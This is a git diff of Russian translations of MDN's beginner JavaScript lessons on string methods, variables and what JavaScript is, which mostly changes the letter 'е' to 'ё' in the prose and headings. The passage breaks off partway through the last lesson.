<p>{{PreviousMenuNext("Learn/JavaScript/Первые_шаги/Строки", "Learn/JavaScript/Первые_шаги/Arrays", "Learn/JavaScript/Первые_шаги")}}</p> -<p>Мы рассмотрели базовые понятия, касающиеся строк. Давайте пойдем дальше и рассмотрим, какие полезные операции мы можем выполнять со строками, используя встроенные функции, такие как поиск длины текстовой строки, объединение и разделение строк, замена одного символа из строки другим и многое другое.</p> +<p>Мы рассмотрели базовые понятия, касающиеся строк. Давайте пойдём дальше и рассмотрим, какие полезные операции мы можем выполнять со строками, используя встроенные функции, такие как поиск длины текстовой строки, объединение и разделение строк, замена одного символа из строки другим и многое другое.</p> <table class="learn-box standard-table"> <tbody> @@ -37,7 +37,7 @@ original_slug: Learn/JavaScript/Первые_шаги/Useful_string_methods <h2 id="Строки_как_объекты">Строки как объекты</h2> -<p id="Useful_string_methods">Почти всё в JavaScript является объектами. Когда вы создаете строку, например: </p> +<p id="Useful_string_methods">Почти всё в JavaScript является объектами. Когда вы создаёте строку, например: </p> <pre class="notranslate">let string = 'This is my string';</pre> @@ -45,7 +45,7 @@ original_slug: Learn/JavaScript/Первые_шаги/Useful_string_methods <p><strong>Только не волнуйтесь!</strong> Большинство из них вам не нужно знать сейчас на ранней стадии вашего обучения. Но некоторые из них вы, возможно, будете использовать довольно часто. Их мы и рассмотрим.</p> -<p>Приведем несколько примеров в новой консоли. Ниже вы можете <a href="https://mdn.github.io/learning-area/javascript/introduction-to-js-1/variables/index.html">открыть данную консоль</a> в отдельной вкладке или окне, или, если вам так удобней, использовать <a href="https://developer.mozilla.org/ru/docs/Learn/Discover_browser_developer_tools">браузер консоли разработчика</a>.</p> +<p>Приведём несколько примеров в новой консоли. Ниже вы можете <a href="https://mdn.github.io/learning-area/javascript/introduction-to-js-1/variables/index.html">открыть данную консоль</a> в отдельной вкладке или окне, или, если вам так удобней, использовать <a href="https://developer.mozilla.org/ru/docs/Learn/Discover_browser_developer_tools">браузер консоли разработчика</a>.</p> <div class="hidden"> <h6 id="Hidden_code">Hidden code</h6> @@ -162,9 +162,9 @@ original_slug: Learn/JavaScript/Первые_шаги/Useful_string_methods <pre class="notranslate">let browserType = 'mozilla'; browserType.length;</pre> -<p>Результатом должно быть число 7, потому что слово «mozilla» состоит из 7 символов. Это свойство можно применить, например, если вы захотите найти длины серии имен, чтобы их можно было отображать по порядку длины или сообщить пользователю, что имя пользователя, которое он ввёл в поле формы, слишком длинное, если оно превышает определённую длину.</p> +<p>Результатом должно быть число 7, потому что слово «mozilla» состоит из 7 символов. Это свойство можно применить, например, если вы захотите найти длины серии имён, чтобы их можно было отображать по порядку длины или сообщить пользователю, что имя пользователя, которое он ввёл в поле формы, слишком длинное, если оно превышает определённую длину.</p> -<h3 id="Получение_определенного_строкового_символа">Получение определенного строкового символа</h3> +<h3 id="Получение_определённого_строкового_символа">Получение определённого строкового символа</h3> <p>Вы можете вернуть любой символ внутри строки, используя <strong>обозначение в квадратных скобках.</strong> Это означает, что вы добавляете квадратные скобки ([ ]) в конце вашего имени переменной. В квадратных скобках вы указываете номер символа, который хотите вернуть. Например, чтобы получить первую букву, нужно написать:</p> @@ -174,14 +174,14 @@ browserType.length;</pre> <pre class="syntaxbox notranslate"> browserType[browserType.length-1];</pre> -<p>Длина слова «mozilla» равна 7, но, поскольку счет начинается с 0, позиция последнего символа равна 6, поэтому нам нужна <code>length-1</code>. Такой способ можно использовать, чтобы найти первую букву ряда строк и упорядочить их по алфавиту.</p> +<p>Длина слова «mozilla» равна 7, но, поскольку счёт начинается с 0, позиция последнего символа равна 6, поэтому нам нужна <code>length-1</code>. Такой способ можно использовать, чтобы найти первую букву ряда строк и упорядочить их по алфавиту.</p> -<h3 id="Поиск_подстроки_внутри_строки_и_ее_извлечение">Поиск подстроки внутри строки и ее извлечение</h3> +<h3 id="Поиск_подстроки_внутри_строки_и_её_извлечение">Поиск подстроки внутри строки и её извлечение</h3> <ol> <li>Иногда вам может понадобиться выяснить, присутствует ли меньшая строка внутри большей (обычно мы говорим, что внутри строки есть подстрока). Это можно сделать с помощью метода {{jsxref ("String.prototype.indexOf ()", "indexOf ()")}}, который принимает одну {{glossary ("parameter")}} - подстроку, которую вы хотите найти. Введите: <pre class="notranslate">browserType.indexOf('zilla');</pre> - Это дает нам результат 2, потому что подстрока «zilla» начинается в позиции 2 ("m" — 0, "o" — 1, "z" — 2) внутри «mozilla». Такой код можно использовать для фильтрации строк. Например, если есть список веб-адресов и вы хотите распечатать только те, которые содержат «mozilla».</li> + Это даёт нам результат 2, потому что подстрока «zilla» начинается в позиции 2 ("m" — 0, "o" — 1, "z" — 2) внутри «mozilla». Такой код можно использовать для фильтрации строк. Например, если есть список веб-адресов и вы хотите распечатать только те, которые содержат «mozilla».</li> </ol> <ol start="2"> @@ -202,7 +202,7 @@ if(browserType.indexOf('mozilla') !== -1) { </li> <li>Когда вы знаете, где подстрока начинается внутри строки, и вы знаете, на каком символе вы хотите её завершить, можно использовать {{jsxref ("String.prototype.slice ()", "slice ()")}} для извлечения. Попробуйте следующее: <pre class="notranslate">browserType.slice(0,3);</pre> - Это возвращает «moz». Первым параметром является позиция символа, с которого начинается извлечение, а второй параметр — позиция последнего символа, перед которым нужно отсечь строку<em>.</em> Таким образом, срез происходит с первой позиции, вплоть до последней позиции, но не включая её <em>(</em>помним, что <em>счет идёт с 0, а не с 1)</em>. Также можно сказать, что второй параметр равен длине возвращаемой строки.</li> + Это возвращает «moz». Первым параметром является позиция символа, с которого начинается извлечение, а второй параметр — позиция последнего символа, перед которым нужно отсечь строку<em>.</em> Таким образом, срез происходит с первой позиции, вплоть до последней позиции, но не включая её <em>(</em>помним, что <em>счёт идёт с 0, а не с 1)</em>. Также можно сказать, что второй параметр равен длине возвращаемой строки.</li> <li>Кроме того, если вы знаете, что хотите извлечь все остальные символы в строке после определённого символа, вам не нужно включать второй параметр. Достаточно включить только положение символа, с которого вы хотите начать извлечение оставшихся символов в строке. Введите: <pre class="notranslate">browserType.slice(2);</pre> Этот код возвращает «zilla» — это потому, что позиция символа 2 — это буква z, и поскольку вы не указали второй параметр, возвращаемая подстрока состояла из всех остальных символов в строке.</li> @@ -214,7 +214,7 @@ if(browserType.indexOf('mozilla') !== -1) { <h3 id="Изменение_регистра">Изменение регистра</h3> -<p>Строковые методы {{jsxref ("String.prototype.toLowerCase ()", "toLowerCase ()")}} и {{jsxref ("String.prototype.toUpperCase ()", "toUpperCase ()")}} преобразовывают все символы в строке в нижний или верхний регистр соответственно. Этот способ можно применить, если вы хотите нормализовать все введенные пользователем данные перед их сохранением в базе данных.</p> +<p>Строковые методы {{jsxref ("String.prototype.toLowerCase ()", "toLowerCase ()")}} и {{jsxref ("String.prototype.toUpperCase ()", "toUpperCase ()")}} преобразовывают все символы в строке в нижний или верхний регистр соответственно. Этот способ можно применить, если вы хотите нормализовать все введённые пользователем данные перед их сохранением в базе данных.</p> <p>Попробуем ввести следующие строки, чтобы узнать, что происходит:</p> @@ -230,7 +230,7 @@ radData.toUpperCase();</pre> <pre class="notranslate">browserType.replace('moz','van');</pre> -<p>Обратите внимание, что для фактического получения обновленного значения, отраженного в переменной browserType в реальной программе, вам нужно будет установить значение переменной в результате операции; он не просто обновляет значение подстроки автоматически. Таким образом, вы должны были бы написать это: <code>browserType = browserType.replace('moz','van');</code></p> +<p>Обратите внимание, что для фактического получения обновлённого значения, отражённого в переменной browserType в реальной программе, вам нужно будет установить значение переменной в результате операции; он не просто обновляет значение подстроки автоматически. Таким образом, вы должны были бы написать это: <code>browserType = browserType.replace('moz','van');</code></p> <h2 id="Активные_примеры_обучения">Активные примеры обучения</h2> @@ -240,12 +240,12 @@ radData.toUpperCase();</pre> <h3 id="Фильтрация_приветственных_сообщений">Фильтрация приветственных сообщений</h3> -<p>В первом упражнении мы начнем с простого: у нас есть множество сообщений поздравительных открыток, но мы хотим отсортировать их, чтобы перечислять только рождественские сообщения. Мы хотим, чтобы вы заполнили условный тест внутри структуры if( ... ), чтобы проверить каждую строку и отобразить её в списке, только если это рождественское сообщение.</p> +<p>В первом упражнении мы начнём с простого: у нас есть множество сообщений поздравительных открыток, но мы хотим отсортировать их, чтобы перечислять только рождественские сообщения. Мы хотим, чтобы вы заполнили условный тест внутри структуры if( ... ), чтобы проверить каждую строку и отобразить её в списке, только если это рождественское сообщение.</p> <ol> <li>Сначала подумайте о том, как вы можете проверить, является ли сообщение в каждом случае рождественским сообщением. Какая строка присутствует во всех этих сообщениях и какой метод вы можете использовать для проверки?</li> <li>Затем вам нужно будет написать условный тест <em>операнд1 оператор операнд2</em>. Соответствует ли результат слева результату справа? Или в этом случае вызов метода слева возвращает результат справа?</li> - <li>Подсказка. В этом случае, вероятно, полезнее проверить, не является ли часть строки не равной (!==) определенному результату.</li> + <li>Подсказка. В этом случае, вероятно, полезнее проверить, не является ли часть строки не равной (!==) определённому результату.</li> </ol> <div class="hidden"> @@ -396,9 +396,9 @@ textarea.onkeyup = function(){ <p>В этом упражнении у нас есть названия городов в Великобритании, но написанных разным регистром. Мы хотим, чтобы вы изменили их так, чтобы они были в нижнем регистре, за исключением первой буквы. Хороший способ сделать это:</p> <ol> - <li>Преобразуйте всю строку, содержащуюся в переменной input, в нижний регистр и сохраните ее в новой переменной.</li> - <li>Возьмите первую букву строки в этой новой переменной и сохраните ее в другой переменной.</li> - <li>Используя эту последнюю переменную в качестве подстроки, замените первую букву строчной строки первой буквой строчной строки, измененной на верхний регистр. Сохраните результат этой процедуры замены в другой новой переменной.</li> + <li>Преобразуйте всю строку, содержащуюся в переменной input, в нижний регистр и сохраните её в новой переменной.</li> + <li>Возьмите первую букву строки в этой новой переменной и сохраните её в другой переменной.</li> + <li>Используя эту последнюю переменную в качестве подстроки, замените первую букву строчной строки первой буквой строчной строки, изменённой на верхний регистр. Сохраните результат этой процедуры замены в другой новой переменной.</li> <li>Измените значение переменной <code>result</code> на равную конечному результату (не <code>input</code>).</li> </ol> @@ -425,7 +425,7 @@ textarea.onkeyup = function(){ <textarea id="code" class="playable-code" style="height: 250px; width: 95%"> var list = document.querySelector('.output ul'); list.innerHTML = ''; -var cities = ['лонДон', 'МанЧЕСТер', 'БиРминГЕМ', 'лиВЕРпуЛЬ']; +var cities = ['лонДон', 'МанЧЕСТёр', 'БиРминГЕМ', 'лиВЕРпуЛЬ']; for(var i = 0; i < cities.length; i++) { var input = cities[i]; // пишите код ниже @@ -491,7 +491,7 @@ solution.addEventListener('click', function() { updateCode(); }); -var jsSolution = 'var list = document.querySelector(\'.output ul\');\nlist.innerHTML = \'\';\nvar cities = [\'</code><code class="language-html">лонДон</code><code class="language-js">\', \'</code><code class="language-html">МанЧЕСТер</code><code class="language-js">\', \'</code><code class="language-html">БиРминГЕМ</code><code class="language-js">\', \'</code><code class="language-html">лиВЕРпуЛЬ</code><code class="language-js">\'];\n\nfor(var i = 0; i < cities.length; i++) {\n var input = cities[i];\n var lower = input.toLowerCase();\n var firstLetter = lower.slice(0,1);\n var capitalized = lower.replace(firstLetter,firstLetter.toUpperCase());\n var result = capitalized;\n var listItem = document.createElement(\'li\');\n listItem.textContent = result;\n list.appendChild(listItem);\n\n}'; +var jsSolution = 'var list = document.querySelector(\'.output ul\');\nlist.innerHTML = \'\';\nvar cities = [\'</code><code class="language-html">лонДон</code><code class="language-js">\', \'</code><code class="language-html">МанЧЕСТёр</code><code class="language-js">\', \'</code><code class="language-html">БиРминГЕМ</code><code class="language-js">\', \'</code><code class="language-html">лиВЕРпуЛЬ</code><code class="language-js">\'];\n\nfor(var i = 0; i < cities.length; i++) {\n var input = cities[i];\n var lower = input.toLowerCase();\n var firstLetter = lower.slice(0,1);\n var capitalized = lower.replace(firstLetter,firstLetter.toUpperCase());\n var result = capitalized;\n var listItem = document.createElement(\'li\');\n listItem.textContent = result;\n list.appendChild(listItem);\n\n}'; var solutionEntry = jsSolution; textarea.addEventListener('input', updateCode); @@ -544,7 +544,7 @@ textarea.onkeyup = function(){ <h3 id="Создание_новых_строк_из_старых_частей">Создание новых строк из старых частей</h3> -<p>В этом последнем упражнении массив содержит кучу строк, содержащих информацию о железнодорожных станциях на севере Англии. Строки представляют собой элементы данных, которые содержат трехбуквенный код станции, за которым следуют некоторые машиночитаемые данные, за которыми следует точка с запятой, а затем название станции, пригодное для чтения человеком. Например:</p> +<p>В этом последнем упражнении массив содержит кучу строк, содержащих информацию о железнодорожных станциях на севере Англии. Строки представляют собой элементы данных, которые содержат трёхбуквенный код станции, за которым следуют некоторые машиночитаемые данные, за которыми следует точка с запятой, а затем название станции, пригодное для чтения человеком. Например:</p> <pre class="notranslate">MAN675847583748sjt567654;Manchester Piccadilly</pre> @@ -555,7 +555,7 @@ textarea.onkeyup = function(){ <p>Мы бы рекомендовали реализовать это следующим образом:</p> <ol> - <li>Извлеките трехбуквенный код станции и сохраните его в новой переменной.</li> + <li>Извлеките трёхбуквенный код станции и сохраните его в новой переменной.</li> <li>Найдите номер символьного номера точки с запятой.</li> <li>Извлеките название для чтения человеком, используя номер индекса точки с запятой в качестве контрольной точки и сохраните его в новой переменной.</li> <li>Объедините две новые переменные и строковый литерал, чтобы сделать финальную строку.</li> @@ -705,7 +705,7 @@ textarea.onkeyup = function(){ <h2 id="Заключение">Заключение</h2> -<p>Нельзя не согласиться с тем, что способность обрабатывать слова и предложения в программировании очень важна — особенно в JavaScript, поскольку веб-сайты — все связаны с людьми. Эта статья дала вам основы, которые вам нужно знать о манипуляции строками на данный момент. Это пойдет вам на пользу, когда вы займётесь более сложными темами в будущем. Далее мы рассмотрим последний важный тип данных, на который нам нужно сосредоточиться в краткосрочной перспективе — массивы.</p> +<p>Нельзя не согласиться с тем, что способность обрабатывать слова и предложения в программировании очень важна — особенно в JavaScript, поскольку веб-сайты — все связаны с людьми. Эта статья дала вам основы, которые вам нужно знать о манипуляции строками на данный момент. Это пойдёт вам на пользу, когда вы займётесь более сложными темами в будущем. Далее мы рассмотрим последний важный тип данных, на который нам нужно сосредоточиться в краткосрочной перспективе — массивы.</p> <p>{{PreviousMenuNext("Learn/JavaScript/Первые_шаги/Строки", "Learn/JavaScript/Первые_шаги/Arrays", "Learn/JavaScript/Первые_шаги")}}</p> diff --git a/files/ru/learn/javascript/first_steps/variables/index.html b/files/ru/learn/javascript/first_steps/variables/index.html index c311f5eeef..c16ad7c214 100644 --- a/files/ru/learn/javascript/first_steps/variables/index.html +++ b/files/ru/learn/javascript/first_steps/variables/index.html @@ -8,7 +8,7 @@ original_slug: Learn/JavaScript/Первые_шаги/Variables <div>{{PreviousMenuNext("Learn/JavaScript/Первые_шаги/Что_пошло_не_так", "Learn/JavaScript/Первые_шаги/Math", "Learn/JavaScript/Первые_шаги")}}</div> -<p class="summary">После прочтения последних двух статей вы знаете, что такое JavaScript, что он может сделать для вас, как использовать его вместе с другими веб-технологиями и какими он обладает функциями высокого уровня. В этой статье мы перейдем к реальным основам, рассмотрим, как работать с большинством базовых блоков JavaScript — Переменными.</p> +<p class="summary">После прочтения последних двух статей вы знаете, что такое JavaScript, что он может сделать для вас, как использовать его вместе с другими веб-технологиями и какими он обладает функциями высокого уровня. В этой статье мы перейдём к реальным основам, рассмотрим, как работать с большинством базовых блоков JavaScript — Переменными.</p> <table class="learn-box"> <tbody> @@ -44,7 +44,7 @@ button.onclick = function() { <p>{{ EmbedLiveSample('What_is_a_variable', '100%', 50, "", "", "hide-codepen-jsfiddle") }}</p> -<p>В примере, по нажатию кнопки выполнится несколько строк кода. Первая строка в функции покажет пользователю окно, где попросит ввести его имя и сохранит значение в переменной. Вторая строка отобразит приветствие с включенным введенным именем, взятым из значения переменной.</p> +<p>В примере, по нажатию кнопки выполнится несколько строк кода. Первая строка в функции покажет пользователю окно, где попросит ввести его имя и сохранит значение в переменной. Вторая строка отобразит приветствие с включённым введённым именем, взятым из значения переменной.</p> <p>Чтобы лучше понять действие переменной здесь, давайте подумаем о том, как мы будем писать этот пример без использования переменной. Это будет выглядеть примерно так:</p> @@ -64,11 +64,11 @@ if (name === 'Адам') { // ... и так далее ...</pre> -<p>Вам сейчас не обязательно понимать синтаксис, который мы используем (пока!), но вы должны понять идею: если бы у нас не было доступных переменных, нам пришлось бы реализовать гигантский блок кода, который проверял, какое имя было введено, а затем отображал соответствующее сообщение для этого имени. Очевидно, что это неэффективно (код намного больше, даже для четырех вариантов), и он просто не сработает, так как вы не можете хранить все возможные варианты.</p> +<p>Вам сейчас не обязательно понимать синтаксис, который мы используем (пока!), но вы должны понять идею: если бы у нас не было доступных переменных, нам пришлось бы реализовать гигантский блок кода, который проверял, какое имя было введено, а затем отображал соответствующее сообщение для этого имени. Очевидно, что это неэффективно (код намного больше, даже для четырёх вариантов), и он просто не сработает, так как вы не можете хранить все возможные варианты.</p> <p>Переменные имеют смысл, и, когда вы узнаете больше о JavaScript, они начнут становиться второй натурой.</p> -<p>Еще одна особенность переменных заключается в том, что они могут содержать практически все, а не только строки и числа. Переменные могут также содержать сложные данные и даже целые функции. Об этом вы узнаете больше при дальнейшем изучении курса..</p> +<p>Ещё одна особенность переменных заключается в том, что они могут содержать практически все, а не только строки и числа. Переменные могут также содержать сложные данные и даже целые функции. Об этом вы узнаете больше при дальнейшем изучении курса..</p> <p>Заметьте: мы говорим, что переменные содержат значения. Это важное различие. Переменные не являются самими значениями; они представляют собой контейнеры для значений. Представьте, что они похожи на маленькие картонные коробки, в которых вы можете хранить вещи.</p> @@ -76,12 +76,12 @@ if (name === 'Адам') { <h2 id="Объявление_переменной">Объявление переменной</h2> -<p>Чтобы использовать переменную, вы сначала должны ее создать, или, если быть точнее, объявить переменную. Чтобы сделать это, мы вводим ключевое слово var, за которым следует имя, которое вы хотите дать своей переменной:</p> +<p>Чтобы использовать переменную, вы сначала должны её создать, или, если быть точнее, объявить переменную. Чтобы сделать это, мы вводим ключевое слово var, за которым следует имя, которое вы хотите дать своей переменной:</p> <pre class="brush: js notranslate">var myName; var myAge;</pre> -<p>Здесь мы создаем две переменные myName и myAge. Попробуйте ввести эти строки сейчас в консоли вашего веб-браузера или в консоли ниже (можно открыть эту консоль в отдельной вкладке или в новом окне). После этого попробуйте создать переменную (или две) с вашими именами.</p> +<p>Здесь мы создаём две переменные myName и myAge. Попробуйте ввести эти строки сейчас в консоли вашего веб-браузера или в консоли ниже (можно открыть эту консоль в отдельной вкладке или в новом окне). После этого попробуйте создать переменную (или две) с вашими именами.</p> <div class="hidden"> <h6 id="Hidden_code">Hidden code</h6> @@ -199,7 +199,7 @@ var myAge;</pre> <p><strong>Заметка</strong>: в JavaScript все инструкции кода должны заканчиваться точкой с запятой (;) - ваш код может работать правильно для отдельных строк, но, вероятно, не будет, когда вы пишете несколько строк кода вместе. Попытайтесь превратить написание точки с запятой в привычку.</p> </div> -<p>Теперь проверим, существуют ли эти значения в среде выполнения. Для этого введем только имя переменной.</p> +<p>Теперь проверим, существуют ли эти значения в среде выполнения. Для этого введём только имя переменной.</p> <pre class="brush: js notranslate">myName; myAge;</pre> @@ -231,7 +231,7 @@ myAge;</pre> <p>Скорее всего, так вы будете писать большую часть времени, так как запись и выполнения кода с одно строки происходит быстрее, чем выполнение двух действий на двух отдельных строках.</p> <div class="note"> -<p><strong>Заметка</strong>: Если вы пишете многострочную программу JavaScript, которая объявляет и инициализирует (задает значение) переменную, вы можете объявить ее после ее инициализации, и она все равно будет работать. Это связано с тем, что объявления переменных обычно выполняются первыми, прежде чем остальная часть кода будет выполнена. Это называется <strong>hoisting </strong>- прочитайте <a href="/en-US/docs/Web/JavaScript/Reference/Statements/var#var_hoisting">var hoisting</a> для более подробной информации по этому вопросу.</p> +<p><strong>Заметка</strong>: Если вы пишете многострочную программу JavaScript, которая объявляет и инициализирует (задаёт значение) переменную, вы можете объявить её после её инициализации, и она все равно будет работать. Это связано с тем, что объявления переменных обычно выполняются первыми, прежде чем остальная часть кода будет выполнена. Это называется <strong>hoisting </strong>- прочитайте <a href="/en-US/docs/Web/JavaScript/Reference/Statements/var#var_hoisting">var hoisting</a> для более подробной информации по этому вопросу.</p> </div> <h2 id="Обновление_переменной">Обновление переменной</h2> @@ -247,19 +247,19 @@ myAge = 40;</pre> <ul> <li>Не рекомендуется использование других символов, потому что они могут вызывать ошибки или быть непонятными для международной аудитории.</li> - <li>Не используйте символы подчеркивания в начале имен переменных - это используется в некоторых конструкциях JavaScript для обозначения конкретных вещей.</li> - <li>Не используйте числа в начале переменных. Это недопустимо и приведет к ошибке.</li> - <li>Общепринято придерживаться так называемый <a href="https://en.wikipedia.org/wiki/CamelCase#Variations_and_synonyms">"lower camel case"</a>, где вы склеиваете несколько слов, используя строчные буквы для всего первого слова, а затем заглавные буквы последующих слов. Мы использовали это для наших имен переменных в этой статье.</li> + <li>Не используйте символы подчёркивания в начале имён переменных - это используется в некоторых конструкциях JavaScript для обозначения конкретных вещей.</li> + <li>Не используйте числа в начале переменных. Это недопустимо и приведёт к ошибке.</li> + <li>Общепринято придерживаться так называемый <a href="https://en.wikipedia.org/wiki/CamelCase#Variations_and_synonyms">"lower camel case"</a>, где вы склеиваете несколько слов, используя строчные буквы для всего первого слова, а затем заглавные буквы последующих слов. Мы использовали это для наших имён переменных в этой статье.</li> <li>Делайте имена переменных такими, чтобы было интуитивно понятно, какие данные они содержат. Не используйте только отдельные буквы / цифры или большие длинные фразы.</li> <li>Переменные чувствительны к регистру, так что <code>myage</code> и <code>myAge</code> - разные переменные.</li> - <li>И последнее - вам также нужно избегать использования зарезервированных слов JavaScript в качестве имен переменных - под этим мы подразумеваем слова, которые составляют фактический синтаксис JavaScript! Таким образом, вы не можете использовать слова типа <code>var</code>, <code>function</code>, <code>let</code>, и <code>for</code> для имен переменных. Браузеры распознают их как разные элементы кода, и поэтому возникают ошибки.</li> + <li>И последнее - вам также нужно избегать использования зарезервированных слов JavaScript в качестве имён переменных - под этим мы подразумеваем слова, которые составляют фактический синтаксис JavaScript! Таким образом, вы не можете использовать слова типа <code>var</code>, <code>function</code>, <code>let</code>, и <code>for</code> для имён переменных. Браузеры распознают их как разные элементы кода, и поэтому возникают ошибки.</li> </ul> <div class="note"> <p><strong>Заметка</strong>: По ссылке можно найти довольно полный список зарезервированных ключевых слов: <a href="/en-US/docs/Web/JavaScript/Reference/Lexical_grammar#Keywords">Lexical grammar — keywords</a>.</p> </div> -<p>Примеры хороших имен переменных:</p> +<p>Примеры хороших имён переменных:</p> <pre class="example-good notranslate">age myAge @@ -270,7 +270,7 @@ audio1 audio2 </pre> -<p>Примеры плохих имен переменных:</p> +<p>Примеры плохих имён переменных:</p> <pre class="example-bad notranslate">1 a @@ -282,13 +282,13 @@ Document skjfndskjfnbdskjfb thisisareallylongstupidvariablenameman</pre> -<p>Примеры имен переменных, которые вызовут ошибки:</p> +<p>Примеры имён переменных, которые вызовут ошибки:</p> <pre class="example-invalid notranslate">var Document </pre> -<p>Попытайтесь создать еще несколько переменных прямо сейчас, используя знания, изложенные выше.</p> +<p>Попытайтесь создать ещё несколько переменных прямо сейчас, используя знания, изложенные выше.</p> <h2 id="Типы_переменных">Типы переменных</h2> @@ -302,7 +302,7 @@ Document <h3 id="Строки_Strings">Строки ('Strings')</h3> -<p>Строки - это фрагменты текста. Когда вы даете переменной значение строки, вам нужно обернуть ее в одиночные или двойные кавычки, в противном случае JavaScript попытается проиндексировать ее как другое имя переменной.</p> +<p>Строки - это фрагменты текста. Когда вы даёте переменной значение строки, вам нужно обернуть её в одиночные или двойные кавычки, в противном случае JavaScript попытается проиндексировать её как другое имя переменной.</p> <pre class="brush: js notranslate">var dolphinGoodbye = 'So long and thanks for all the fish';</pre> @@ -317,11 +317,11 @@ Document <pre class="brush: js notranslate">var test = 6 < 3; </pre> -<p>Здесь используется оператор «меньше» (<), чтобы проверить, является ли 6 меньше 3. В данном примере, он вернет false, потому что 6 не меньше 3! В дальнейшем вы узнаете больше о таких операторах.</p> +<p>Здесь используется оператор «меньше» (<), чтобы проверить, является ли 6 меньше 3. В данном примере, он вернёт false, потому что 6 не меньше 3! В дальнейшем вы узнаете больше о таких операторах.</p> <h3 id="Массивы_Arrays">Массивы (Arrays)</h3> -<p>Массив - это один объект, который содержит несколько значений, заключенных в квадратные скобки и разделенных запятыми. Попробуйте ввести следующие строки в консоль:</p> +<p>Массив - это один объект, который содержит несколько значений, заключённых в квадратные скобки и разделённых запятыми. Попробуйте ввести следующие строки в консоль:</p> <pre class="brush: js notranslate">var myNameArray = ['Chris', 'Bob', 'Jim']; var myNumberArray = [10,15,40];</pre> @@ -353,18 +353,18 @@ myNumberArray[2]; // should return 40</pre> <p>JavaScript - это «свободно типизируемый язык», что означает, что в отличие от некоторых других языков вам не нужно указывать, какой тип данных будет содержать переменная (например, числа, строки, массивы и т. д.).</p> -<p>Например, если вы объявите переменную и присвоите ей значение, заключенное в кавычки, браузер будет обрабатывать переменную как строку:</p> +<p>Например, если вы объявите переменную и присвоите ей значение, заключённое в кавычки, браузер будет обрабатывать переменную как строку:</p> <pre class="brush: js notranslate">var myString = 'Привет';</pre> <p>Он все равно будет строкой, даже если он содержит числа, поэтому будьте осторожны:</p> -<pre class="brush: js notranslate">var myNumber = '500'; // упс, это все еще строка (string) +<pre class="brush: js notranslate">var myNumber = '500'; // упс, это все ещё строка (string) typeof(myNumber); myNumber = 500; // так-то лучше, теперь это число (number) typeof(myNumber);</pre> -<p>Попробуйте ввести четыре строки выше в консоль одну за другой и посмотреть результаты. Вы заметите, что мы используем специальную функцию <code>typeof()</code> - она возвращает тип данных переменной, которую вы передаете в нее. В первый раз, когда она вызывается, она должа возвращать строку, так как переменная <code>myNumber</code> содержит строку <code>'500'</code>. Посмотрите, что она вернет во второй раз, когда вы ее вызовите.</p> +<p>Попробуйте ввести четыре строки выше в консоль одну за другой и посмотреть результаты. Вы заметите, что мы используем специальную функцию <code>typeof()</code> - она возвращает тип данных переменной, которую вы передаёте в неё. В первый раз, когда она вызывается, она должа возвращать строку, так как переменная <code>myNumber</code> содержит строку <code>'500'</code>. Посмотрите, что она вернёт во второй раз, когда вы её вызовите.</p> <h2 id="Подведение_итогов">Подведение итогов</h2> diff --git a/files/ru/learn/javascript/first_steps/what_is_javascript/index.html b/files/ru/learn/javascript/first_steps/what_is_javascript/index.html index 2e0ff5a198..114f4601ba 100644 --- a/files/ru/learn/javascript/first_steps/what_is_javascript/index.html +++ b/files/ru/learn/javascript/first_steps/what_is_javascript/index.html @@ -31,11 +31,11 @@ original_slug: Learn/JavaScript/Первые_шаги/What_is_JavaScript <ul> <li>{{glossary("HTML")}} - это язык разметки, который мы используем для визуального и смыслового структурирования нашего web контента, например, определяем параграфы, заголовки, таблицы данных, или вставляем изображения и видео на страницу.</li> - <li>{{glossary("CSS")}} - это язык стилей с помощью которого мы придаем стиль отображения нашего HTML контента, например придаем цвет фону (background) и шрифту, придаем контенту многоколоночный вид.</li> + <li>{{glossary("CSS")}} - это язык стилей с помощью которого мы придаём стиль отображения нашего HTML контента, например придаём цвет фону (background) и шрифту, придаём контенту многоколоночный вид.</li> <li>{{glossary("JavaScript")}} язык программирования, который позволяет Вам создать динамически обновляемый контент, управляет мультимедиа, анимирует изображения, впрочем, делает всё, что угодно. Окей, не все, что угодно, но все равно, это удивительно, что можно достичь с помощью нескольких строк JavaScript кода.</li> </ul> -<p>Три слоя прекрасно выстраиваются друг над другом. Возьмем простой текст для примера. Для придания структуры и смыслового назначения тексту, разметим его с помощью HTML:</p> +<p>Три слоя прекрасно выстраиваются друг над другом. Возьмём простой текст для примера. Для придания структуры и смыслового назначения тексту, разметим его с помощью HTML:</p> <pre class="brush: html"><p>Player 1: Chris</p></pre> @@ -73,7 +73,7 @@ function updateName() { <p>{{ EmbedLiveSample('Определение_высокого_уровня', '100%', 80) }}</p> -<p>Попробуйте кликнуть по тексту чтобы увидеть, что произойдет (Вы так же можете найти это демо на GitHub — смотрите <a href="https://github.com/mdn/learning-area/blob/master/javascript/introduction-to-js-1/what-is-js/javascript-label.html">исходный код</a>, или <a href="http://mdn.github.io/learning-area/javascript/introduction-to-js-1/what-is-js/javascript-label.html">запустите вживую</a>)!</p> +<p>Попробуйте кликнуть по тексту чтобы увидеть, что произойдёт (Вы так же можете найти это демо на GitHub — смотрите <a href="https://github.com/mdn/learning-area/blob/master/javascript/introduction-to-js-1/what-is-js/javascript-label.html">исходный код</a>, или <a href="http://mdn.github.io/learning-area/javascript/introduction-to-js-1/what-is-js/javascript-label.html">запустите вживую</a>)!</p> <p>JavaScript может делать намного больше — давайте выясним это более детально.</p> @@ -84,11 +84,11 @@ function updateName() { <ul> <li>Хранить данные внутри переменных. В примере выше, мы, например, запрашивали ввод нового имени, которое нужно было ввести, затем сохраняли имя в переменной <code>name</code>.</li> <li>Операции над фрагментами текстов (известными в программировании как "строки"). В примере выше мы брали строку "Player 1: " и присоединили её к значению переменной <code>name</code> для получения полного текста, например: ''Player 1: Chris".</li> - <li>Запускать код в соответствии с определенными событиями происходящими на web странице. В нашем примере выше, мы использовали {{Event("click")}} событие, для определения момента, когда кнопка была кликнута, в соответствии с этим запускался код, который обновлял текст.</li> + <li>Запускать код в соответствии с определёнными событиями происходящими на web странице. В нашем примере выше, мы использовали {{Event("click")}} событие, для определения момента, когда кнопка была кликнута, в соответствии с этим запускался код, который обновлял текст.</li> <li>И многое другое!</li> </ul> -<p>Еще более увлекательным является функциональность, созданная поверх основного языка JavaScript. Так называемые интерфейсы прикладного программирования (API) предоставляют вам дополнительные сверхспособности для использования в вашем коде JavaScript.</p> +<p>Ещё более увлекательным является функциональность, созданная поверх основного языка JavaScript. Так называемые интерфейсы прикладного программирования (API) предоставляют вам дополнительные сверхспособности для использования в вашем коде JavaScript.</p> <p>API - это готовые наборы блоков кода, которые позволяют разработчику реализовывать программы, которые в противном случае было 